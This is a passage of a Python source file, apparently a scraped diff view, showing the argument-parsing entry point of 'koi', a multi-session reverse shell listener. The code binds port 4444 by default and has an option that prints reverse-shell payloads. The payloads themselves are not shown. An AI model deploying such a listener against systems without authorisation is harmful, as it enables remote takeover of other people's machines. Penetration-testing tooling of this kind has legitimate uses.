super().__init__(option_strings=option_strings, dest=dest, default=default, nargs=0, help=help)
|
|
17
|
-
|
|
18
|
-
def __call__(self, parser, namespace, values, option_string=None):
|
|
19
|
-
display_art(small=True)
|
|
20
|
-
parser.print_help()
|
|
21
|
-
parser.exit()
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
def main():
|
|
25
|
-
parser = argparse.ArgumentParser(
|
|
26
|
-
description="koi – multi-session reverse shell listener",
|
|
27
|
-
add_help=False,
|
|
28
|
-
)
|
|
29
|
-
parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
|
|
30
|
-
parser.add_argument("--host", default="0.0.0.0", help="Bind address (default: 0.0.0.0)")
|
|
31
|
-
parser.add_argument("--port", "-p", type=int, default=4444, help="Listen port (default: 4444)")
|
|
32
|
-
parser.add_argument("--payloads", nargs="?", const="__all__", metavar="IFACE",
|
|
33
|
-
help="Print payloads for all interfaces (or a specific one) and exit")
|
|
34
|
-
args = parser.parse_args()
|
|
35
|
-
|
|
36
|
-
if args.payloads is not None:
|
|
37
|
-
print_payloads(None if args.payloads == "__all__" else args.payloads, args.port)
|
|
38
|
-
sys.exit(0)
|
|
39
|
-
|
|
40
|
-
listener = Listener(host=args.host, port=args.port)
|
|
41
|
-
|
|
42
|
-
signal.signal(
|
|
43
|
-
signal.SIGINT,
|
|
44
|
-
lambda *_: (print(), notify('warning', f"Use {_b('exit')} to quit cleanly."))
|
|
45
|
-
)
|
|
46
|
-
|
|
47
|
-
try:
|
|
48
|
-
listener.start()
|
|
49
|
-
except PermissionError:
|
|
50
|
-
notify('error', f"Permission denied on port {args.port}.")
|
|
51
|
-
sys.exit(1)
|
|
52
|
-
except OSError as e:
|
|
53
|
-
notify('error', f"Cannot start listener: {e}")
|
|
54
|
-
sys.exit(1)
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
if __name__ == "__main__":
|
|
58
|
-
main()
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|